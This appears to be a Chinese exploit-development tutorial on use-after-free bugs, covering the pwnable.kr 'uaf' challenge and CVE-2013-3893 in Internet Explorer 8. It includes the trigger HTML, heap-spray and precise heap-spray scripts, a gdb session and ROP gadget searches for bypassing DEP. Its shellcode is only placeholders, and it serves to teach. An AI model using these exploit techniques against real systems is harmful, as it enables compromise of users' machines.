0x01通过一道PWN题理解UAF 1.1UAF基础概念 UAF漏洞全称为use after free,即释放后重用。漏洞产生的原因,在于内存在被释放后,但是指向指针并没有被删除,又被程序调用。比较常见的类型是C++对象,利用UAF修改C++的虚函数表导致的任意代码执行。
在了解UAF是导致任意代码执行的细节,首先让我们了解几个概念:
悬挂指针、内存占坑、C++虚函数
实验源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 #include <iostream> using namespace std ;#include "stdafx.h" #include <stdio.h> #include <Windows.h> #define size 32 class Base { public : int base; virtual void f () { cout <<"Base::f()" <<endl ;} virtual void g () {cout <<"Base::g()" <<endl ;} virtual void h () {cout <<"Base::h()" <<endl ;} }; class Child :public Base{ public : int child; void f () {cout <<"Child::f()" <<endl ;} void g1 () {cout <<"Child::g1()" <<endl ;} void h1 () {cout <<"Child::h1()" <<endl ;} }; int _tmain(int argc, _TCHAR* argv[]){ char *buf1; char * buf2; buf1=(char *)malloc (size); printf ("buf1:0x%p\n" ,buf1); free (buf1); buf2=(char *)malloc (size); printf ("buf2:0x%p\n" ,buf2); memset (buf2,0 ,size); printf ("buf2:%d\n" ,*buf2); printf ("====Use Afrer Free====\n" ); strncpy (buf1,"hack" ,5 ); printf ("buf2:%s\n\n" ,buf2); free (buf2); Base *B=new Base(); Base *C=new Child(); getchar(); return 0 ; }
1.1.1悬挂指针(Dangling pointer) 指向被释放的对象内存的指针。
成因:释放掉后没有将指针重置为null,导致指针依旧可以访问,并且继续指向已经释放的内存.UAF便是调用悬挂指针(多为C++对象),通过对这段内存提前的设计,使得程序调用我们设计好的程序。
案例程序中,为buf1分配了一段32字节的空间,然后将其释放。
但是当使用strncpy对已经释放的buf1拷贝字符串时,发现被free的buf1依然是可以访问的,并且指向的内存没有变化。
释放后的buf1依然指向原来的内存,此时的buf1就是一个悬挂指针。
1.1.2占坑 了解堆分配的占坑机制,需要了解SLUB系统内存分配机制。和SLAB不同,这种利用方法对对象类型没有限制,两个对象只要大小差不多就可以重用同一块内存,也就是说我们释放掉对象A以后马上再申请对象B,只要两者大小相同,那么B就很有可能重用A的内存。
见案例中,释放buf1时,buf1指向0xa35470的内存。而在buf1释放之后,立即分配一个相同大小的内存给buf2指针,发现buf2获取的指针指向的就是buf1被释放的内存地址。
这就是buf2占坑了buf1的内存空间。
此时发散一下思维,buf2可控,而buf1仍然指向buf2的内存空间,是不是就有可能造成程序出现问题。
1.1.3虚函数 C++中的虚函数的作用主要是实现了多态的机制。简而言之就是用父类型别的指针指向其子类的实例,然后通过父类的指针调用实际子类的成员函数。这种技术可以让父类的指针有“多种形态”。代码表现形式就是C++类中Virtaul开头的函数。
同时C++的虚函数是漏洞攻击的重点对象,C++对象中有一个非常重要的结构–虚函数表。
覆盖C++虚函数造成的漏洞利用技术的风靡程度,不亚于经典栈溢出的覆盖手法。更重要的是覆盖虚函数表还可以从本质上绕过GS等内存保护机制,这里不展开说了。
详细的逆向分析,非常推荐《C++反汇编揭秘》这本书,将虚函数的反汇编代码和C++代码进行对比,理解会比较深刻。
代码分别实例化了Base和Child为B和C,查看内存结构。
Base对象B的首地址存放_vfptr(虚函数表),指向三个虚函数f()、g()、 h()
Child对象C的首地址是对基类(Base)的一个拷贝,值得注意的是Base类里的虚函数表,这里的f()函数被Child重写,g和h函数则依然指向Base实例化时其在虚函数表中的地址。
C的第二个地址则指向自己的虚函数表。
这些继承关系,可以简单概括为下面三张图。
接下来我们观察代码是如何生成C++虚函数表的。
首先v2=operator new(8u) 对应Base *B=new Base()实例化对象,v2为指向对象的指针。
实例化对象之后,C++会将虚函数表的地址放在对象内存的开头。
进入sub_411140函数之后经过二次跳转进入sub_4117A0函数
1 2 3 text:004117C3 mov eax, [ebp+var_8] .text:004117C6 mov dword ptr [eax], offset ??_7Base@@6B@ ; const Base::`vftable'
mov操作将虚函数表地址放到[eax]的位置,而此时eax的值就是通过上层函数传递下来的v2的指针。所以这段代码就完成了将虚表放置到对象头部的效果。
这一步骤之后,也就能理解为什么虚函数表会在对象表头,同时这个操作也是我们用来判断C++对象创建的一个非常好的信号,还可以获取这个对象的头部地址和虚表。
1.2通过PWN题掌握UAF 在掌握了基础之后,我们可以拿pwnalbe.kr 的UAF题来快速理解利用原理。
使用scp下载二进制文件和源码(密码:guest)
1 2 3 $ scp -P2222 uaf@pwnable.kr:/home/uaf/uaf /Users/p0kerface/ $ scp -P2222 uaf@pwnable.kr:/home/uaf/uaf.cpp /Users/p0kerface/
主要思路便是利用占坑的方法,向被释放的空间写入数据覆盖vfptr(虚函数表),然后调用悬挂指针完成UAF,这题非常经典值得在做UAF之前的复习。
调试过程中,意识到自己阅读C++的反汇编水平还是不够,类和对象没有源码只看IDA还是非常困难的。所以会把一些逆向的笔记记录下来。
程序源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 uaf.cpp #include <fcntl.h> #include <iostream> #include <cstring> #include <cstdlib> #include <unistd.h> using namespace std ;class Human {private : virtual void give_shell () { system("/bin/sh" ); } protected : int age; string name; public : virtual void introduce () { cout << "My name is " << name << endl ; cout << "I am " << age << " years old" << endl ; } }; class Man : public Human{public : Man(string name, int age){ this ->name = name; this ->age = age; } virtual void introduce () { Human::introduce(); cout << "I am a nice guy!" << endl ; } }; class Woman : public Human{public : Woman(string name, int age){ this ->name = name; this ->age = age; } virtual void introduce () { Human::introduce(); cout << "I am a cute girl!" << endl ; } }; int main (int argc, char * argv[]) { Human* m = new Man("Jack" , 25 ); Human* w = new Woman("Jill" , 21 ); size_t len; char * data; unsigned int op; while (1 ){ cout << "1. use\n2. after\n3. free\n" ; cin >> op; switch (op){ case 1 : m->introduce(); w->introduce(); break ; case 2 : len = atoi(argv[1 ]); data = new char [len]; read(open(argv[2 ], O_RDONLY), data, len); cout << "your data is allocated" << endl ; break ; case 3 : delete m; delete w; break ; default : break ; } } return 0 ; }
1.2.1代码分析 通过IDA反汇编,不过C++的代码已经非常难以看懂了,代码主要分两大块解析。
第一部分是类和子类的定义,定义的父类Human和子类Man和Woman。其中父类包含get_shell函数,虽然子类并没有定义,但是通过继承关系可知,在实例化过程中,虚函数表中函数会包含这个函数。
第二部分就是类的实例化和use after free 三个功能。
接下来我们将程序重要的部分分析一下,以便理解漏洞。
(1)实例化对象
Human* m = new Man(“Jack”, 25);这句在IDA翻译如下,变量v3为实例化Man对象之后的指针。
找到对应的反汇编,0x400F13这个地方是对象实例化的函数,在call执行结束之后,EBX中便保存这Man对象的指针,即上文中的v3变量。可以通过gdb下断点进行调试。
当实例完对象之后,ebx存放的地址(0x401570),也就是前文中所说的虚函数表vfptr,指向的第一个函数Human继承下来的give_shell。
让我们查看虚表的内存,可以看到Man的虚表中有两个函数。虚表偏移8字节便是introduce函数。
(2)调用方法
源代码
1 2 3 4 case 1: m->introduce(); w->introduce(); break;
IDA中对应的伪代码
指针v13和v14分别对应实例化的Man和Woman,Woman的虚函数表的结构与Man是相同的(地址不同),所以不再赘述。
通过观察虚函数表结构,我们已经知道introduce为虚表表头偏移8个字节,所以便有了v13+8字节偏移。
这里就埋下一个伏笔,如果对虚表指针的地址进行改写,将虚表向前偏移8个字节,这样本来调用introduce方法就会调用getshell方法。
对应的反汇编如下,非常建议自己动态调试一遍,能够加深印象。
1.2.2UAF利用流程 (1)程序实例化Man和Women
(2)使用Free将Man和Women分别Free (free)
(3)再分配内存,这里我们需要分配24字节,为了占坑。(after)
因为24字节(0x18)和之前分配的Man和Women一样(上图所示),所以会发生占坑现象,也就是说程序会将之前被释放的Man和Women空间分配给这个指针。此时读取文件(poc)的内容,因为占坑之后内存指针指向的第一个字符就是,覆盖之前Man和Women的虚函数。
Poc的内容就是*$ python -c “print ‘\x68\x15\x40\x00\x00\x00\x00\x00’”> poc*
即0x401468=0x401570-8,原虚函数表地址-8字节。
(4)调用Man的悬挂指针,因为虚函数表被我们从poc读入的数据改写,调用intruduce会调用getshell
(5)利用结束
使用UAF修改C++虚表,改变程序流程。
调试过程中,建议下如下的断点,可以让程序停在关键的地方。也可以在调试过程中,多尝试用Ctrl+C呼叫程序暂停,然后设置断点。
1 2 3 4 5 6 7 8 gdb-peda$ b *0x400f13 Breakpoint 1 at 0x400f13 gdb-peda$ b *0x400fcd Breakpoint 2 at 0x400fcd gdb-peda$ b *0x40102d Breakpoint 3 at 0x40102d gdb-peda$ b *0x401076 Breakpoint 4 at 0x401076
根据如下的操作,我们很容易就获取了shell,注意传递参数poc文件
小结 UAF在浏览器漏洞中多为对C++对象(虚函数)的修改,悬挂指针是UAF利用的关键,调用被Free的函数,如果这个函数的位置已经被别的对象占坑,进行了修改,那么调用悬挂指针就可能能够造成任意代码执行。结合Heap Spray会产生很好的效果。
0x02 IE浏览器UAF漏洞 调试环境:
Windows 7 SP1
IE8
漏洞编号:CVE-2013-3893
该漏洞是的原理是,IE下的mshtml动态连接库将TreeNode对象从Dom树释放后,又重新调用对象的任意代码执行。是一个典型的浏览器UAF漏洞,最后使用精准堆喷射完成利用。
因为本文作者调试实例漏洞的功底有限,所以会漏洞如何发现以及利用部分,漏洞的原理和挖掘的讲解可能达不到高水平读者的要求,希望读者能谅解。
2.1漏洞分析 可以通过msf/exploit-db获取这个漏洞的POC,我们对其进行一些修改,方便我们的分析。
调试的poc代码如下
POC.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <!DOCTYPE html> <html> <head> <title>Migraine</title> </head> <body> Hello World! <script type="text/javascript" > function trigger ( ) { Math .tan(2 ,1 ); var father=document .createElement("father" ); var child=document .createElement("child" ); Math .tan(1 ,2 ); document .body.appendChild(father); document .body.appendChild(child); Math .sin(1 ,2 ); child.applyElement(father); father.onlosecapture=function ( ) { document .write("" ); } Math .cos(1 ,2 ); father['outerText' ]="" ; Math .cos(1 ,2 ); father.setCapture(); child.setCapture(); } window .setTimeout("trigger()" ,1000 ); </script> </body> </html>
2.1.1 基于POC的流程分析 首先要清楚POC的运行流程,通过createElement创建两个对象father和child
接着为两个对象分别创建两个结点。效果如图所示,
标签下创建了和标签。同时也会创建一个TreeNode对象。
将child作为father的子结点
*father[‘outerText’]=””*将元素本身赋值为空对象,这句会导致DOM树中所有father的子孙结点都被析构(fahter、child)也就是说TreeNode会从DOM上脱离。
father.setCapture();child.setCapture();father 鼠标指针聚焦,child鼠标指针聚焦,导致father失焦,会触发father.onlosecapture=function()
document.write(“”);
漏洞触发的位置
在调用*document.write(“”);*时候,释放了TreeNode对象,但是在程序之后运行的函数中,使用了这个被释放的对象,导致了释放后重用漏洞。
POC调试
程序断点在了CTreeNode::GetInterface函数,call ecx指向的地址。
使用kv可以追踪函数的流程。按照这样的回溯也是可以分析漏洞的。不过为了更精确地找到造成中断的根源,我们开启页堆(page heap),这样程序在遇到堆结构被破坏时会更即使地断下。
使用Windbg的Global Flags工具开启page heap(页堆),选择Enable page heap选项。
不建议开启左下角的Enable heap tagging,会导致后面调试经常出问题。
再次运行POC,程序断点在了HasContainerCapture+0x14的位置。根据栈回溯,可以发现比之前的断点位置更靠前了一些。
使用kv查看栈回溯,使用ub查看具体触发的代码。
我们再次查看HasContainerCapture+0x14的位置,发现他实际调用了一个已经被释放到对象TreeNode,从而造成了释放后重用(UAF)漏洞。
继续向下看,我们分析此时造成崩溃的EDI参数,!heap -p -a edi查看edi所在堆的状态。
可以看到EDI所指向的堆已经在!CTreeNode::Release被释放了。
重新调试一遍,查看TreeNode对象(地址和上一次调试不同)在被释放前的空间为0x4c,所以只需要在被释放之后,用js立即分配一块相同大小的堆就能进行占位。
虽然知道POC触发了UAF漏洞,但是我们对这个漏洞的具体细节还一无所知,更不用提利用了。所以我们要从程序流程的角度来分析一下漏洞触发的原因。
接下来关闭页堆,进一步调试整个POC的触发的程序流程,以及UAF是如何造成影响的。
修改一下poc(增加了一段js,创建了一个div对象,具体原因下文会说明),继续调试。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <!DOCTYPE html> <html> <head> <title>Migraine</title> </head> <body> Hello World! <script type="text/javascript" > function trigger ( ) { Math .tan(2 ,1 ); var father=document .createElement("father" ); var child=document .createElement("child" ); Math .tan(1 ,2 ); document .body.appendChild(father); document .body.appendChild(child); Math .sin(1 ,2 ); child.applyElement(father); father.onlosecapture=function ( ) { document .write("" ); Math .cos(1 ,2 ); tt = new Array (20 ); for (i = 0 ; i < tt.length; i++) { tt[i] = document .createElement('div' ); tt[i].className = "\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c" ; } } Math .cos(1 ,2 ); father['outerText' ]="" ; Math .cos(1 ,2 ); father.setCapture(); child.setCapture(); } window .setTimeout("trigger()" ,1000 ); </script> </body> </html>
首先对几个关键部分下断点,在POC中写入一些三角函数,例如tan、sin、cos这几个JS的函数主要是帮助我们判断程序运行到哪个位置,因为在程序汇总我们下断点到函数会反复地运行,可能会多次断下,但是不一定是我们需要到断点。(比如调试时候,tan还没断下来,CElement就断了好几次,这个断点就需要我们跳过)
下面是我下的断点,仅供参考。(到后期调试最后两个断点可以去掉)
1 2 3 4 5 6 7 0:016> bl 0 e 6d86d898 0001 (0001) 0:**** jscript!tan 2 e 6d86d6e9 0001 (0001) 0:**** jscript!sin 3 e 6d86d657 0001 (0001) 0:**** jscript!cos 4 e 6ba49fd3 0001 (0001) 0:**** mshtml!CElement::CElement 5 e 6b9caed1 0001 (0001) 0:**** mshtml!CMarkup::InsertElementInternal 6 e 6b9e5acf 0001 (0001) 0:**** mshtml!CElement::appendChild
首先断点在了tan,三角函数断点并不是必须的,但是在调试IE这样程序流复杂的对象时,可以帮助我们判断程序运行的位置。
第一个CElement::CElement断点,当然直接给createElement下断点也是可以的,但是要获取这个对象的指针,需要运行CElement+0x18的位置。此时EDI存放的便是Element对象的指针。
即var father=document.createElement(“father”);中的father
为什么我们能判断此时的EDI是Element的对象指针呢,其实分析0x6ba49feb地址的这句语句,将C++的虚函数表地址放入了[EDI]的位置,这不就是C++ 初始化对象的行为嘛。对象的头部就是虚函数表。
第二个断点,也是同理,var child=document.createElement(“child”);中的child对象指针为2eebd88.
中途再次断在tan,g继续运行
创建子结点father
document.body.appendChild(father);
创建了一个TreeNode对象,指针默认通过EAX值返回。
同理第二个子结点,也可以获取它的指针(child)
运行结束之后,可以看一下目前的内存结构,发现已经形成了一个类似链表的结构。
查看内存空间,下图中从上到下分别是
Element对象father
子节点
Element对象child
Element对象child
结构图为
1 2 3 4 5 6 7 8 9 Element对象father(2eec048) Element对象child(2eebd88) | | V V 子节点<father>(2ee8ac0) 子节点<child>(2ee8388) ^ ^ | | ------------------------------------ | CBody_TreeNode(02f123a8)
而TreeNode则为我们这次释放后重用漏洞的利用对象,通过链表关系我们其实可以知道,调试过程中只需要获取fahter对象的指针,就能通过链表关系获取到TreeNode指针,下一次调试就会节省很多时间。
接下来程序断点在了sin函数,继续g运行,child.applyElement(father),直到运行到cos函数。
此时查看内存,能发现变成了的子结点。
结构图为
1 2 3 4 5 6 7 8 9 Element对象father(2eec048) Element对象child(2eebd88) | | V V 子节点<father>(2ee8ac0) <-- 子节点<child>(2ee8388) ^ | \------------- | CBody_TreeNode(02f123a8)
之后执行father[‘outerText’]=””会发现father以及他的子节点都被清空了。TreeNode也不在Dom树上了,但是这块内存指针依然存在。
使用!heap -p -a 02f123a8,发现这块内存依旧busy,size为4c
1 2 3 4 5 0:005> !heap -p -a 02f123a8 address 02f123a8 found in _HEAP @ 200000 HEAP_ENTRY Size Prev Flags UserPtr UserSize - state 02f12390 000d 0000 [00] 02f123a8 0004c - (busy)
执行father.setCapture();child.setCapture();会触发father.onlosecapture函数
进而执行的document.write(“”)会将TreeNode释放
1 2 3 4 5 6 !heap -p -a 02f123a8,发现内存已经被free了 0:005> !heap -p -a 02f123a8 address 05118558 found in _HEAP @ 200000 HEAP_ENTRY Size Prev Flags UserPtr UserSize - state 02f12390 000d 0000 [00] 02f12398 00060 - (free)
这里就需要划重点了,这个内存被释放了,而之后这个内存的指针依然存在,甚至还被程序调用了。这明显是一个UAF漏洞,这时我们要利用之前讲的占坑技术,申请一段和之前差不多大小的内存,就能成功控制这块内存。
于是此时我们可以使用Js申请多个与被释放对象相同大小的内存块,对其进行占位。(申请多个是为了保证Exp稳定性)
1 2 3 4 5 6 tt = new Array(20); for(i = 0; i < tt.length; i++) { tt[i] = document.createElement('div'); tt[i].className = "\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c"; }
使用javascript申请大量80字节左右的空间(78个0x0c+2个
)
1 tt[i].className = "\u1111\u2222\u3333\u4444\u1111\u2222\u3333\u4444\u1111\u2222\u3333\u4444\u1111\u2222\u3333\u4444\u1111\u2222\u3333\u4444\u1111\u2222\u3333\u4444\u1111\u2222\u3333\u4444\u1111\u2222\u3333\u4444\u1111\u2222\u2222\u3333\u4444\u1111";//替代\0c
查看TreeNode内存空间,发现占位成功。
1 2 3 4 5 0:005> !heap -p -a 02f123a8 address 02f123a8 found in _HEAP @ 220000 HEAP_ENTRY Size Prev Flags UserPtr UserSize - state 02f12390 000d 0000 [00] 02f123a8 0004e - (busy)
1 2 3 4 5 0:005> dc 02f123a8 02f123a8 22221111 44443333 22221111 44443333 ..""33DD..""33DD 02f123b8 22221111 44443333 22221111 44443333 ..""33DD..""33DD 02f123c8 22221111 44443333 22221111 44443333 ..""33DD..""33DD 02f123d8 22221111 44443333 22221111 44443333 ..""33DD..""33DD
注意:建议覆写部分不要使用0c0c0c0c作为数据,因为后期使用精确堆喷射的时候,我们会修改0c0c0c0c地址的值,这样覆盖虚表地址为0c0c0c0c,而0c0c0c0c地址存放的并不是0c0c0c0c而是我们shellcode的开头。
继续运行,程序断在了GetInterface+0xac的位置,eax已经被赋值为了0x0c0c0c0c,说明这里调用了我们被释放的对象TreeNode。也就是我们占位成功,并且赋值给EAX。
不过这里还不是我们控制EIP的漏洞代码,因为这里[eax]不存在值所以程序就断下来了(EAX此时指向的应该是TreeNode虚函数表指针)。
接下来我们使用堆喷射将这段内存填充满值(0c0c0c0c)。
我们增加一个HeapSpray函数,准备好堆喷射,具体堆喷射细节可以参考前辈给出的利用总结(下图)。此时再次运行我们的程序。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 exp.html <!DOCTYPE html> <html> <head> <title>Migraine</title> </head> <body> Hello World! <script type="text/javascript" > function trigger ( ) { Math .tan(2 ,1 ); var father=document .createElement("father" ); var child=document .createElement("child" ); Math .tan(1 ,2 ); document .body.appendChild(father); document .body.appendChild(child); Math .sin(1 ,2 ); child.applyElement(father); father.onlosecapture=function ( ) { Heapspray(); document .write("" ); tt = new Array (20 ); for (i = 0 ; i < tt.length; i++) { tt[i] = document .createElement('div' ); tt[i].className = "\u1111\u2222\u3333\u4444\u1111\u2222\u3333\u4444\u1111\u2222\u3333\u4444\u1111\u2222\u3333\u4444\u1111\u2222\u3333\u4444\u1111\u2222\u3333\u4444\u1111\u2222\u3333\u4444\u1111\u2222\u3333\u4444\u1111\u2222\u2222\u3333\u4444\u1111" ; } Math .sin(1 ,2 ); } Math .cos(1 ,2 ); father['outerText' ]="" ; Math .cos(1 ,2 ); father.setCapture(); child.setCapture(); function Heapspray ( ) { var i=0 ; shellcode="\u1234\u3456\u7890\u1234\u3456\u7890" ; block="\u0c0c\u0c0c" while (block.length<0x100000 ) block+=block; block=block.substring(0 ,0x100000 /2 -32 /2 -4 /2 -2 /2 -shellcode.length); block+=shellcode; var memory=new Array (); for (i=0 ;i<600 ;i++) memory[i]=block.substring(0 ,block.length); } } window .setTimeout("trigger()" ,1000 ); </script> </body> </html>
程序跳转到了0x0c0c0c0c,通过栈回溯,很明显是在GetInterface函数中调用call [ecx],读取了TreeNode对象中的内容,完成了一次堆EIP的控制。
注:ECX的值来源
向前阅读,发现上一次运行的断点就在向上5行(详细情况读者可以看本文的上一小节),根据上文的分析mov ecx,[eax]此时的EAX的值是从被我们覆盖的TreeNode中读取的(已经被我们覆盖为了0c0c0c0c)。从EAX指向的地址读取字符给ECX,而堆空间中已经被堆满了0c0c0c0c,因此导致ECX也被赋值为了0c0c0c0c地址存放的数据(也是0c0c0c0c)。然后call [ecx]就发生了。
需要注意的是,在后期利用占位使用的字符尽量不要使用0c0c0c0c,因为这个空间会被我们安排ROP链,会导致[EAX]不能给ECX赋正确的值。(0c0c0c0c)
通过利用这个UAF漏洞,我们最后成功控制了程序流。
2.1.2 漏洞利用泛谈 UAF的部分到这里已经结束了。用大佬的说的一句话,就是漏洞和程序编写者有关,与系统无关。UAF漏洞是mshtml的一个内存漏洞,由漏洞能控制程序流。只要没有补丁,IE8在WinXP或者WIN10下,这个漏洞都是存在的。
区别在于利用难度,WIN XP SP1没有DEP,所以堆喷射一下就解决了。WIN 10开启了很复杂的保护,每周还有更新,利用难度非常高。
谈这点是的主要目的是什么呢,主要就是想表达自己最近领悟的一个观点。漏洞是客观存在的,与我们在什么系统下执行无关。能够利用,可能就要考验利用者的手法了。所以希望读者能明白,如果希望实现你UAF,那么原理和案例看到这里就够了。
并不是说利用手法不重要,而是希望自己能够对漏洞概念有一个更深刻的领会。
下文将尝试在WIN7下的对这个漏洞进行利用,使用ROP和精确堆喷射绕过DEP防护。
WIN7下的利用分析
使用mona插件,可以非常明显发现IE开启了DEP(IE本身没有开,但是mshtml开了),导致堆内的空间也不可执行。如果是XP环境,shellcode会被直接执行,但是在这里就需要使用ROP来绕过DEP。ASLR因为需要重启才会导致基础地址发生变化,所以我们本地测试暂时不做讨论。
绕过DEP的一般操作就是使用VirtualProtect关闭DEP,可以使用x kernel32!Virtual*查找这个函数的位置。如果ASLR的影响算在内,函数地址也不是稳定的。(kernel32的地址也会变化)
在正式开始利用前,我们先做一个小实验:
在HeapSpray执行之后,查看0c0c0c0c的内存空间,发现已经被覆盖。
使用
我们将0c0c0c0c地址的数据修改成了VirtualProtect的地址。
成功跳转进入了函数。
2.1.3精确堆喷射
目前需要解决的问题有二
一是我们的数据包括shellcode和ROP链是存放在堆中的,熟悉ROP的读者应该明白只有在栈中(或者伪造的栈)才能正常执行程序链。
二是程序开启了DEP,堆不可执行,除非ROP链的头部正好对准0c0c0c0c(或者我们制定的其他跳转地址),才能正常执行ROP,一个字节也不能差。但是堆喷射是一种不稳定的技术,ROP链的地址在堆中位置是不确定。
解决方案:
因为我们将ROP布置在堆中,不能像栈一样方便直接执行。这里可使用栈翻转技术解决,将ESP指向我们堆中的ROP,就和在栈中没有区别了。前文我们已经尝试了在0c0c0c0c的位置布置了一个指向VirtualProtect函数的指针,并且成功跳转了,目前只需要布置好ROP就行。
那就第二个问题,如何在将ROP链的头精确的放在0c0c0c0c的位置。具体细节可以阅读下面这两篇文章。关键字:精确堆喷射。通过这个技术我们能将ROP精准地对准0c0c0c0c。
链接1
链接2
HeapSpray.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <!DOCTYPE html> <html> <head> <title></title> </head> <body> <script type="text/javascript"> var sc="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; var nop="\u0c0c\u0c0c"; while(nop.length<0x100000) nop+=nop; nop=nop.substring(0,(0x80000-6)/2-sc.length); code=sc+nop; heap_chunks=new Array(); for(i=0;i<1000;i++) { heap_chunks[i]=code.substring(0,code.length); } </script> </body> </html>
查看0c0c0c0c的内存发现成功覆盖,但是我们需要到是能精准对将ROP链/Shellcode的头部对准0c0c0c0c的位置。
查看0c0c0c0c堆块的堆头为0c0a0018。一个堆块对应我们使用JS分配的8MB的heap_chunk。
而UserPtr也就数据存放的开头为0c0a0030(一般来说是0c010020但是我调试时开了Enable heap tagging),查看这个区域我们输入数据头部就是从UserPtr+8的位置开始的。
可以看出堆空间的起始地址的最后四位都变成了0018,UserPtr的最后四位则为0030.
这是在大量分配内存之后会产生的现象。
虽然每次分配的值地址不一定完全相同,比如第一次0c0c0c0c所在用户堆起始地址为0c0a0030,偏移为0x20bdc,而第二次则为0c0b0030,偏移为0x10bdc。
但是变化范围都是以0x10000为基数的,只需要在heap_chunk中以0x10000为单位配置好shellcode+nops的格式。最后heap_chunk整体加上偏移地址0xbdc,无论地址怎么变化,都能顺利让0c0c0c0c指向函数shellocode的起始地址。
修改HeapSpray,成功利用heap-feng-shui技术将0c0c0c0c的位置精确定为我们shellcode的起始地址。代码如下。
可以看到我们内存中每隔0x1000都会存在一个shellcode+nop的结构。这样能让0c0c0c0c具有某种程度上的稳定。
HeapSpray.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <!DOCTYPE html > <html > <head > <title > </title > </head > <body > <script type ="text/javascript" > var sc="\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141" ; var nop="\u0c0c\u0c0c" ; var offset=0x5ee -4 /2 ; while (nop.length<0x10000 ) nop+=nop; var nop_chunk=nop.substring(0 ,(0x10000 /2 -sc.length)); var sc_nop=sc+nop_chunk; while (sc_nop.length<0x100000 ) sc_nop+=sc_nop; sc_nop=sc_nop.substring(0 ,(0x80000 -6 )/2 -offset); var offset_pattern=nop.substring(0 ,offset); code=offset_pattern+sc_nop; heap_chunks=new Array (); for (i=0 ;i<1000 ;i++) { heap_chunks[i]=code.substring(0,code.length); } </script > </body > </html >
将这段代码替换poc中的heapspray函数,运行poc发现,程序成功跳转到41414141的位置。(因为0c0c0c0c地址已经被AAAA覆盖)
接下来只需要构造ROP链,使用VirtualProtect函数将0c0c0c0c开始的内存设置为可执行即可。大概参数可以
1 2 3 4 5 6 BOOL VirtualProtect ( shellcode 所在内存空间起始地址, shellcode 大小, 0x40 ,某个可写地址 ) ;
可以使用mona插件快速寻找gadgets
1 2 3 !py mona findwild -s "mov esp,eax#*#retn" 0x760f0b51 | 0x760f0b51 (b+0x002b0b51) : mov esp,eax # dec ecx # retn 0x760e0ae2 | 0x760e0ae2 (b+0x002a0ae2) : mov esp,ecx # dec ecx # retn 4
2.1.4构造ROP链 翻转栈帧到堆空间
因为发生UAF之后,ESP指向的是当前的栈空间,而我们的rop链是放在heap里的。所以需要使用栈翻转,将esp指向我们堆中的rop链。这个部分也是非常有意思的。
步骤(0)首先eax是我们可控的参数(通过占位TreeNode),ecx的值来源为[eax],所以eax的值不能直接指向我们的rop链,因为这样ecx会读取不到正确的值,call [ecx]也就不能跳转。
步骤(1)ROP链头部必须执行栈翻转操作,否则rop链将无法成功执行。
看大佬的案例是寻找xchg指令,对esp进行赋值。但是我并没有找到很合适的gadget。
1 2 !py mona find -s "\x94\xc3" 或者!py mona.py findwild -s "xchg esp,eax#*#retn" 0x736c32fa | 0x736c32fa (b+0x000132fa) : \x94\xc3
不过上穷水尽疑无路,柳暗花明又一村。我们找到了一组包含pop esp的gadget,可以修改esp为0c0c0c0c
1 2 !py mona.py findwild -s "push ecx#*#pop esp#*#retn" 0x75b48d9e | 0x75b48d9e (b+0x00398d9e) : push ecx # pop esp # pop ebp # retn 4
步骤(2)上一个步骤执行到ret命令时,esp=0c0c0c10,所以在0c0c0c10起始埋下我们到ROP链接就行。
步骤(3)ROP设置shellcode内存可执行之后,跳转到shellcode运行即可。
ROP流程图
1 2 3 4 5 6 7 8 9 10 11 12 Heap (0) Reg eip->0c0c0c0c ecx=0c0c0c0c eax=0c0c0c04 esp=>stack (1)=>0c0c0c0c push ecx#pop esp#..#ret 4 => esp=0c0c0c0c+4=>heap (2)=>0c0c0c10 ret =>esp=0c0c0c10+4+4(因为ret4) 0c0c0c14 0c0c0c0c (跳过4字节) (3)=>0c0c0c18 VirtualProtect_addr =>esp=0c0c0c10->0c0c0c18(因为ret4) 0c0c0c1c shellcode_addr ->0c0c0c30 0c0c0c20 0c0c0c00 [arg4] 0c0c0c24 0x1000 [arg3] 0c0c0c28 0x40 [arg2] 0c0c0c2c 0c0c0c0c[arg1] (3) 0c0c0c30 shellcode
编写出EXP利用脚本
